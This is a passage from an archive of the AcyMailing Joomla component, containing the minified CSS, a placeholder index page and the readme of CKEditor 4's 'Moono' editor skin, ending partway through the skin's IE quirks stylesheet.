bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_toolbox_collapser:hover{background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}.cke_toolbox_collapser.cke_toolbox_collapser_min{margin:0 2px 4px}.cke_rtl .cke_toolbox_collapser{float:left}.cke_toolbox_collapser .cke_arrow{display:inline-block;height:0;width:0;font-size:0;margin-top:1px;border-left:3px solid transparent;border-right:3px solid transparent;border-bottom:3px solid #474747;border-top:3px solid transparent}.cke_toolbox_collapser.cke_toolbox_collapser_min .cke_arrow{margin-top:4px;border-bottom-color:transparent;border-top-color:#474747}.cke_hc .cke_toolbox_collapser .cke_arrow{font-size:8px;width:auto;border:0;margin-top:0;margin-right:2px}.cke_menubutton{display:block}.cke_menuitem span{cursor:default}.cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active{background-color:#d3d3d3;display:block}.cke_hc .cke_menubutton{padding:2px}.cke_hc .cke_menubutton:hover,.cke_hc .cke_menubutton:focus,.cke_hc .cke_menubutton:active{border:2px solid;padding:0}.cke_menubutton_inner{display:table-row}.cke_menubutton_icon,.cke_menubutton_label,.cke_menuarrow{display:table-cell}.cke_menubutton_icon{background-color:#d7d8d7;opacity:.70;filter:alpha(opacity=70);padding:4px}.cke_hc .cke_menubutton_icon{height:16px;width:0;padding:4px 0}.cke_menubutton:hover .cke_menubutton_icon,.cke_menubutton:focus .cke_menubutton_icon,.cke_menubutton:active .cke_menubutton_icon{background-color:#d0d2d0}.cke_menubutton_disabled:hover .cke_menubutton_icon,.cke_menubutton_disabled:focus .cke_menubutton_icon,.cke_menubutton_disabled:active .cke_menubutton_icon{opacity:.3;filter:alpha(opacity=30)}.cke_menubutton_label{padding:0 5px;background-color:transparent;width:100%;vertical-align:middle}.cke_menubutton_disabled .cke_menubutton_label{opacity:.3;filter:alpha(opacity=30)}.cke_menubutton_on{border:1px solid #dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_menubutton_on .cke_menubutton_icon{padding-right:3px}.cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active{background-color:#eff0ef}.cke_panel_frame .cke_menubutton_label{display:none}.cke_menuseparator{background-color:#d3d3d3;height:1px;filter:alpha(opacity=70);opacity:.70}.cke_menuarrow{background-image:url(images/arrow.png);background-position:0 10px;background-repeat:no-repeat;padding:0 5px}.cke_rtl .cke_menuarrow{background-position:5px -13px;background-repeat:no-repeat}.cke_menuarrow span{display:none}.cke_hc .cke_menuarrow span{vertical-align:middle;display:inline}.cke_combo{display:inline-block;float:left}.cke_rtl .cke_combo{float:right}.cke_hc .cke_combo{margin-top:-2px}.cke_combo_label{display:none;float:left;line-height:26px;vertical-align:top;margin-right:5px}.cke_rtl .cke_combo_label{float:right;margin-left:5px;margin-right:0}.cke_combo_button{cursor:default;display:inline-block;float:left;margin:0 6px 5px 0;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_combo_off a.cke_combo_button:hover,.cke_combo_off a.cke_combo_button:focus{background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc');outline:0}.cke_combo_off a.cke_combo_button:active,.cke_combo_on a.cke_combo_button{border:1px solid #777;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;background:#b5b5b5;background-image:-webkit-gradient(linear,left top,left bottom,from(#aaa),to(#cacaca));background-image:-moz-linear-gradient(top,#aaa,#cacaca);background-image:-webkit-linear-gradient(top,#aaa,#cacaca);background-image:-o-linear-gradient(top,#aaa,#cacaca);background-image:-ms-linear-gradient(top,#aaa,#cacaca);background-image:linear-gradient(top,#aaa,#cacaca);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#aaaaaa',endColorstr='#cacaca')}.cke_combo_on a.cke_combo_button:hover,.cke_combo_on a.cke_combo_button:focus,.cke_combo_on a.cke_combo_button:active{-moz-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2)}.cke_rtl .cke_combo_button{float:right;margin-left:5px;margin-right:0}.cke_hc a.cke_combo_button{padding:3px}.cke_hc .cke_combo_on a.cke_combo_button,.cke_hc .cke_combo_off a.cke_combo_button:hover,.cke_hc .cke_combo_off a.cke_combo_button:focus,.cke_hc .cke_combo_off a.cke_combo_button:active{border-width:3px;padding:1px}.cke_combo_text{line-height:26px;padding-left:10px;text-overflow:ellipsis;overflow:hidden;float:left;cursor:default;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.5);width:60px}.cke_rtl .cke_combo_text{float:right;text-align:right;padding-left:0;padding-right:10px}.cke_hc .cke_combo_text{line-height:18px;font-size:12px}.cke_combo_open{cursor:default;display:inline-block;font-size:0;height:19px;line-height:17px;margin:1px 7px 1px;width:5px}.cke_hc .cke_combo_open{height:12px}.cke_combo_arrow{cursor:default;margin:11px 0 0;float:left;height:0;width:0;font-size:0;border-left:3px solid transparent;border-right:3px solid transparent;border-top:3px solid #474747}.cke_hc .cke_combo_arrow{font-size:10px;width:auto;border:0;margin-top:3px}.cke_combo_disabled .cke_combo_inlinelabel,.cke_combo_disabled .cke_combo_open{opacity:.3}.cke_path{float:left;margin:-2px 0 2px}.cke_path_item,.cke_path_empty{display:inline-block;float:left;padding:3px 4px;margin-right:2px;cursor:default;text-decoration:none;outline:0;border:0;color:#4c4c4c;text-shadow:0 1px 0 #fff;font-weight:bold;font-size:11px}.cke_rtl .cke_path,.cke_rtl .cke_path_item,.cke_rtl .cke_path_empty{float:right}a.cke_path_item:hover,a.cke_path_item:focus,a.cke_path_item:active{background-color:#bfbfbf;color:#333;text-shadow:0 1px 0 rgba(255,255,255,.5);-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-moz-box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5);-webkit-box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5);box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5)}.cke_hc a.cke_path_item:hover,.cke_hc a.cke_path_item:focus,.cke_hc a.cke_path_item:active{border:2px solid;padding:1px 2px}.cke_button__source_label,.cke_button__sourcedialog_label{display:inline}.cke_combo__fontsize .cke_combo_text{width:30px}.cke_combopanel__fontsize{width:120px}.cke_source{font-family:'Courier New',Monospace;font-size:small;background-color:#fff;white-space:pre}.cke_wysiwyg_frame,.cke_wysiwyg_div{background-color:#fff}.cke_chrome{visibility:inherit}.cke_voice_label{display:none}legend.cke_voice_label{display:none}.cke_button__bold_icon {background: url(icons.png) no-repeat 0 -0px !important;}.cke_button__italic_icon {background: url(icons.png) no-repeat 0 -24px !important;}.cke_button__strike_icon {background: url(icons.png) no-repeat 0 -48px !important;}.cke_button__subscript_icon {background: url(icons.png) no-repeat 0 -72px !important;}.cke_button__superscript_icon {background: url(icons.png) no-repeat 0 -96px !important;}.cke_button__underline_icon {background: url(icons.png) no-repeat 0 -120px !important;}.cke_button__blockquote_icon {background: url(icons.png) no-repeat 0 -144px !important;}.cke_rtl .cke_button__copy_icon, .cke_mixed_dir_content .cke_rtl .cke_button__copy_icon {background: url(icons.png) no-repeat 0 -168px !important;}.cke_ltr .cke_button__copy_icon {background: url(icons.png) no-repeat 0 -192px !important;}.cke_rtl .cke_button__cut_icon, .cke_mixed_dir_content .cke_rtl .cke_button__cut_icon {background: url(icons.png) no-repeat 0 -216px !important;}.cke_ltr .cke_button__cut_icon {background: url(icons.png) no-repeat 0 -240px !important;}.cke_rtl .cke_button__paste_icon, .cke_mixed_dir_content .cke_rtl .cke_button__paste_icon {background: url(icons.png) no-repeat 0 -264px !important;}.cke_ltr .cke_button__paste_icon {background: url(icons.png) no-repeat 0 -288px !important;}.cke_button__bgcolor_icon {background: url(icons.png) no-repeat 0 -312px !important;}.cke_button__textcolor_icon {background: url(icons.png) no-repeat 0 -336px !important;}.cke_button__horizontalrule_icon {background: url(icons.png) no-repeat 0 -360px !important;}.cke_button__image_icon {background: url(icons.png) no-repeat 0 -384px !important;}.cke_rtl .cke_button__indent_icon, .cke_mixed_dir_content .cke_rtl .cke_button__indent_icon {background: url(icons.png) no-repeat 0 -408px !important;}.cke_ltr .cke_button__indent_icon {background: url(icons.png) no-repeat 0 -432px !important;}.cke_rtl .cke_button__outdent_icon, .cke_mixed_dir_content .cke_rtl .cke_button__outdent_icon {background: url(icons.png) no-repeat 0 -456px !important;}.cke_ltr .cke_button__outdent_icon {background: url(icons.png) no-repeat 0 -480px !important;}.cke_button__justifyblock_icon {background: url(icons.png) no-repeat 0 -504px !important;}.cke_button__justifycenter_icon {background: url(icons.png) no-repeat 0 -528px !important;}.cke_button__justifyleft_icon {background: url(icons.png) no-repeat 0 -552px !important;}.cke_button__justifyright_icon {background: url(icons.png) no-repeat 0 -576px !important;}.cke_rtl .cke_button__anchor_icon, .cke_mixed_dir_content .cke_rtl .cke_button__anchor_icon {background: url(icons.png) no-repeat 0 -600px !important;}.cke_ltr .cke_button__anchor_icon {background: url(icons.png) no-repeat 0 -624px !important;}.cke_button__link_icon {background: url(icons.png) no-repeat 0 -648px !important;}.cke_button__unlink_icon {background: url(icons.png) no-repeat 0 -672px !important;}.cke_rtl .cke_button__bulletedlist_icon, .cke_mixed_dir_content .cke_rtl .cke_button__bulletedlist_icon {background: url(icons.png) no-repeat 0 -696px !important;}.cke_ltr .cke_button__bulletedlist_icon {background: url(icons.png) no-repeat 0 -720px !important;}.cke_rtl .cke_button__numberedlist_icon, .cke_mixed_dir_content .cke_rtl .cke_button__numberedlist_icon {background: url(icons.png) no-repeat 0 -744px !important;}.cke_ltr .cke_button__numberedlist_icon {background: url(icons.png) no-repeat 0 -768px !important;}.cke_button__maximize_icon {background: url(icons.png) no-repeat 0 -792px !important;}.cke_rtl .cke_button__pastefromword_icon, .cke_mixed_dir_content .cke_rtl .cke_button__pastefromword_icon {background: url(icons.png) no-repeat 0 -816px !important;}.cke_ltr .cke_button__pastefromword_icon {background: url(icons.png) no-repeat 0 -840px !important;}.cke_rtl .cke_button__pastetext_icon, .cke_mixed_dir_content .cke_rtl .cke_button__pastetext_icon {background: url(icons.png) no-repeat 0 -864px !important;}.cke_ltr .cke_button__pastetext_icon {background: url(icons.png) no-repeat 0 -888px !important;}.cke_button__removeformat_icon {background: url(icons.png) no-repeat 0 -912px !important;}.cke_rtl .cke_button__source_icon, .cke_mixed_dir_content .cke_rtl .cke_button__source_icon {background: url(icons.png) no-repeat 0 -936px !important;}.cke_ltr .cke_button__source_icon {background: url(icons.png) no-repeat 0 -960px !important;}.cke_button__table_icon {background: url(icons.png) no-repeat 0 -984px !important;}.cke_rtl .cke_button__redo_icon, .cke_mixed_dir_content .cke_rtl .cke_button__redo_icon {background: url(icons.png) no-repeat 0 -1008px !important;}.cke_ltr .cke_button__redo_icon {background: url(icons.png) no-repeat 0 -1032px !important;}.cke_rtl .cke_button__undo_icon, .cke_mixed_dir_content .cke_rtl .cke_button__undo_icon {background: url(icons.png) no-repeat 0 -1056px !important;}.cke_ltr .cke_button__undo_icon {background: url(icons.png) no-repeat 0 -1080px !important;}.cke_rtl .cke_button__sourcedialog_icon, .cke_mixed_dir_content .cke_rtl .cke_button__sourcedialog_icon {background: url(icons.png) no-repeat 0 -1104px !important;}.cke_ltr .cke_button__sourcedialog_icon {background: url(icons.png) no-repeat 0 -1128px !important;}.cke_hidpi .cke_button__bold_icon {background: url(icons_hidpi.png) no-repeat 0 -0px !important;background-size: 16px !important;}.cke_hidpi .cke_button__italic_icon {background: url(icons_hidpi.png) no-repeat 0 -24px !important;background-size: 16px !important;}.cke_hidpi .cke_button__strike_icon {background: url(icons_hidpi.png) no-repeat 0 -48px !important;background-size: 16px !important;}.cke_hidpi .cke_button__subscript_icon {background: url(icons_hidpi.png) no-repeat 0 -72px !important;background-size: 16px !important;}.cke_hidpi .cke_button__superscript_icon {background: url(icons_hidpi.png) no-repeat 0 -96px !important;background-size: 16px !important;}.cke_hidpi .cke_button__underline_icon {background: url(icons_hidpi.png) no-repeat 0 -120px !important;background-size: 16px !important;}.cke_hidpi .cke_button__blockquote_icon {background: url(icons_hidpi.png) no-repeat 0 -144px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__copy_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__copy_icon {background: url(icons_hidpi.png) no-repeat 0 -168px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__copy_icon,.cke_ltr.cke_hidpi .cke_button__copy_icon {background: url(icons_hidpi.png) no-repeat 0 -192px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__cut_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__cut_icon {background: url(icons_hidpi.png) no-repeat 0 -216px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__cut_icon,.cke_ltr.cke_hidpi .cke_button__cut_icon {background: url(icons_hidpi.png) no-repeat 0 -240px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__paste_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__paste_icon {background: url(icons_hidpi.png) no-repeat 0 -264px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__paste_icon,.cke_ltr.cke_hidpi .cke_button__paste_icon {background: url(icons_hidpi.png) no-repeat 0 -288px !important;background-size: 16px !important;}.cke_hidpi .cke_button__bgcolor_icon {background: url(icons_hidpi.png) no-repeat 0 -312px !important;background-size: 16px !important;}.cke_hidpi .cke_button__textcolor_icon {background: url(icons_hidpi.png) no-repeat 0 -336px !important;background-size: 16px !important;}.cke_hidpi .cke_button__horizontalrule_icon {background: url(icons_hidpi.png) no-repeat 0 -360px !important;background-size: 16px !important;}.cke_hidpi .cke_button__image_icon {background: url(icons_hidpi.png) no-repeat 0 -384px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__indent_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__indent_icon {background: url(icons_hidpi.png) no-repeat 0 -408px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__indent_icon,.cke_ltr.cke_hidpi .cke_button__indent_icon {background: url(icons_hidpi.png) no-repeat 0 -432px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__outdent_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__outdent_icon {background: url(icons_hidpi.png) no-repeat 0 -456px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__outdent_icon,.cke_ltr.cke_hidpi .cke_button__outdent_icon {background: url(icons_hidpi.png) no-repeat 0 -480px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyblock_icon {background: url(icons_hidpi.png) no-repeat 0 -504px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifycenter_icon {background: url(icons_hidpi.png) no-repeat 0 -528px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyleft_icon {background: url(icons_hidpi.png) no-repeat 0 -552px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyright_icon {background: url(icons_hidpi.png) no-repeat 0 -576px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__anchor_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__anchor_icon {background: url(icons_hidpi.png) no-repeat 0 -600px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__anchor_icon,.cke_ltr.cke_hidpi .cke_button__anchor_icon {background: url(icons_hidpi.png) no-repeat 0 -624px !important;background-size: 16px !important;}.cke_hidpi .cke_button__link_icon {background: url(icons_hidpi.png) no-repeat 0 -648px !important;background-size: 16px !important;}.cke_hidpi .cke_button__unlink_icon {background: url(icons_hidpi.png) no-repeat 0 -672px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__bulletedlist_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__bulletedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -696px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__bulletedlist_icon,.cke_ltr.cke_hidpi .cke_button__bulletedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -720px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__numberedlist_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__numberedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -744px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__numberedlist_icon,.cke_ltr.cke_hidpi .cke_button__numberedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -768px !important;background-size: 16px !important;}.cke_hidpi .cke_button__maximize_icon {background: url(icons_hidpi.png) no-repeat 0 -792px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__pastefromword_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__pastefromword_icon {background: url(icons_hidpi.png) no-repeat 0 -816px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__pastefromword_icon,.cke_ltr.cke_hidpi .cke_button__pastefromword_icon {background: url(icons_hidpi.png) no-repeat 0 -840px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__pastetext_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__pastetext_icon {background: url(icons_hidpi.png) no-repeat 0 -864px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__pastetext_icon,.cke_ltr.cke_hidpi .cke_button__pastetext_icon {background: url(icons_hidpi.png) no-repeat 0 -888px !important;background-size: 16px !important;}.cke_hidpi .cke_button__removeformat_icon {background: url(icons_hidpi.png) no-repeat 0 -912px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__source_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__source_icon {background: url(icons_hidpi.png) no-repeat 0 -936px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__source_icon,.cke_ltr.cke_hidpi .cke_button__source_icon {background: url(icons_hidpi.png) no-repeat 0 -960px !important;background-size: 16px !important;}.cke_hidpi .cke_button__table_icon {background: url(icons_hidpi.png) no-repeat 0 -984px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__redo_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__redo_icon {background: url(icons_hidpi.png) no-repeat 0 -1008px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__redo_icon,.cke_ltr.cke_hidpi .cke_button__redo_icon {background: url(icons_hidpi.png) no-repeat 0 -1032px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__undo_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__undo_icon {background: url(icons_hidpi.png) no-repeat 0 -1056px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__undo_icon,.cke_ltr.cke_hidpi .cke_button__undo_icon {background: url(icons_hidpi.png) no-repeat 0 -1080px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__sourcedialog_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__sourcedialog_icon {background: url(icons_hidpi.png) no-repeat 0 -1104px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__sourcedialog_icon,.cke_ltr.cke_hidpi .cke_button__sourcedialog_icon {background: url(icons_hidpi.png) no-repeat 0 -1128px !important;background-size: 16px !important;}
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/index.html000060400000000054152455305310026334 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/readme.md000060400000004741152455305310026125 0ustar00"Moono" Skin
====================

This skin has been chosen for the **default skin** of CKEditor 4.x, elected from the CKEditor
[skin contest](http://ckeditor.com/blog/new_ckeditor_4_skin) and further shaped by
the CKEditor team. "Moono" is maintained by the core developers.

For more information about skins, please check the [CKEditor Skin SDK](http://docs.cksource.com/CKEditor_4.x/Skin_SDK)
documentation.

Features
-------------------
"Moono" is a monochromatic skin, which offers a modern look coupled with gradients and transparency.
It comes with the following features:

- Chameleon feature with brightness,
- high-contrast compatibility,
- graphics source provided in SVG.

Directory Structure
-------------------

CSS parts:
- **editor.css**: the main CSS file. It's simply loading several other files, for easier maintenance,
- **mainui.css**: the file contains styles of entire editor outline structures,
- **toolbar.css**: the file contains styles of the editor toolbar space (top),
- **richcombo.css**: the file contains styles of the rich combo ui elements on toolbar,
- **panel.css**: the file contains styles of the rich combo drop-down, it's not loaded
until the first panel open up,
- **elementspath.css**: the file contains styles of the editor elements path bar (bottom),
- **menu.css**: the file contains styles of all editor menus including context menu and button drop-down,
it's not loaded until the first menu open up,
- **dialog.css**: the CSS files for the dialog UI, it's not loaded until the first dialog open,
- **reset.css**: the file defines the basis of style resets among all editor UI spaces,
- **preset.css**: the file defines the default styles of some UI elements reflecting the skin preference,
- **editor_XYZ.css** and **dialog_XYZ.css**: browser specific CSS hacks.

Other parts:
- **skin.js**: the only JavaScript part of the skin that registers the skin, its browser specific files and its icons and defines the Chameleon feature,
- **icons/**: contains all skin defined icons,
- **images/**: contains a fill general used images,
- **dev/**: contains SVG source of the skin icons.

License
-------

Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.

Licensed under the terms of any of the following licenses at your choice: [GPL](http://www.gnu.org/licenses/gpl.html), [LGPL](http://www.gnu.org/licenses/lgpl.html) and [MPL](http://www.mozilla.org/MPL/MPL-1.1.html).

See LICENSE.md for more information.
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/editor_iequirks.css000060400000112155152455305310030261 0ustar00.cke_reset{margin:0;padding:0;border:0;background:transparent;text-decoration:none;width:auto;height:auto;vertical-align:baseline;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;position:static;-webkit-transition:none;-moz-transition:none;-ms-transition:none;transition:none}.cke_reset_all,.cke_reset_all *{margin:0;padding:0;border:0;background:transparent;text-decoration:none;width:auto;height:auto;vertical-align:baseline;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;position:static;-webkit-transition:none;-moz-transition:none;-ms-transition:none;transition:none;border-collapse:collapse;font:normal normal normal 12px Arial,Helvetica,Tahoma,Verdana,Sans-Serif;color:#000;text-align:left;white-space:nowrap;cursor:auto;float:none}.cke_reset_all .cke_rtl *{text-align:right}.cke_reset_all iframe{vertical-align:inherit}.cke_reset_all textarea{white-space:pre}.cke_reset_all textarea,.cke_reset_all input[type="text"],.cke_reset_all input[type="password"]{cursor:text}.cke_reset_all textarea[disabled],.cke_reset_all input[type="text"][disabled],.cke_reset_all input[type="password"][disabled]{cursor:default}.cke_reset_all fieldset{padding:10px;border:2px groove #e0dfe3}.cke_reset_all select{box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box}.cke_reset_all table{table-layout:auto}.cke_chrome{display:block;border:1px solid #b6b6b6;padding:0;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_inner{display:block;-webkit-touch-callout:none;background:#fff;padding:0}.cke_float{border:0}.cke_float .cke_inner{padding-bottom:0}.cke_top,.cke_contents,.cke_bottom{display:block;overflow:hidden}.cke_top{border-bottom:1px solid #b6b6b6;padding:6px 8px 2px;white-space:normal;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_float .cke_top{border:1px solid #b6b6b6;border-bottom-color:#999}.cke_bottom{padding:6px 8px 2px;position:relative;border-top:1px solid #bfbfbf;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#cfd1cf));background-image:-moz-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-webkit-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-o-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-ms-linear-gradient(top,#ebebeb,#cfd1cf);background-image:linear-gradient(top,#ebebeb,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ebebeb',endColorstr='#cfd1cf')}.cke_browser_ios .cke_contents{overflow-y:auto;-webkit-overflow-scrolling:touch}.cke_resizer{width:0;height:0;overflow:hidden;width:0;height:0;overflow:hidden;border-width:10px 10px 0 0;border-color:transparent #666 transparent transparent;border-style:dashed solid dashed dashed;font-size:0;vertical-align:bottom;margin-top:6px;margin-bottom:2px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.3);-webkit-box-shadow:0 1px 0 rgba(255,255,255,.3);box-shadow:0 1px 0 rgba(255,255,255,.3)}.cke_hc .cke_resizer{font-size:15px;width:auto;height:auto;border-width:0}.cke_resizer_ltr{cursor:se-resize;float:right;margin-right:-4px}.cke_resizer_rtl{border-width:10px 0 0 10px;border-color:transparent transparent transparent #a5a5a5;border-style:dashed dashed dashed solid;cursor:sw-resize;float:left;margin-left:-4px;right:auto}.cke_wysiwyg_div{display:block;height:100%;overflow:auto;padding:0 8px;outline-style:none;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.cke_panel{visibility:visible;width:120px;height:100px;overflow:hidden;background-color:#fff;border:1px solid #b6b6b6;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_menu_panel{padding:0;margin:0}.cke_combopanel{width:150px;height:170px}.cke_panel_frame{width:100%;height:100%;font-size:12px;overflow:auto;overflow-x:hidden}.cke_panel_container{overflow-y:auto;overflow-x:hidden}.cke_panel_list{list-style-type:none;margin:3px;padding:0;white-space:nowrap}.cke_panel_listItem{margin:0;padding-bottom:1px}.cke_panel_listItem a{padding:3px 4px;display:block;border:1px solid #fff;color:inherit!important;text-decoration:none;overflow:hidden;text-overflow:ellipsis;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px}* html .cke_panel_listItem a{width:100%;color:#000}*:first-child+html .cke_panel_listItem 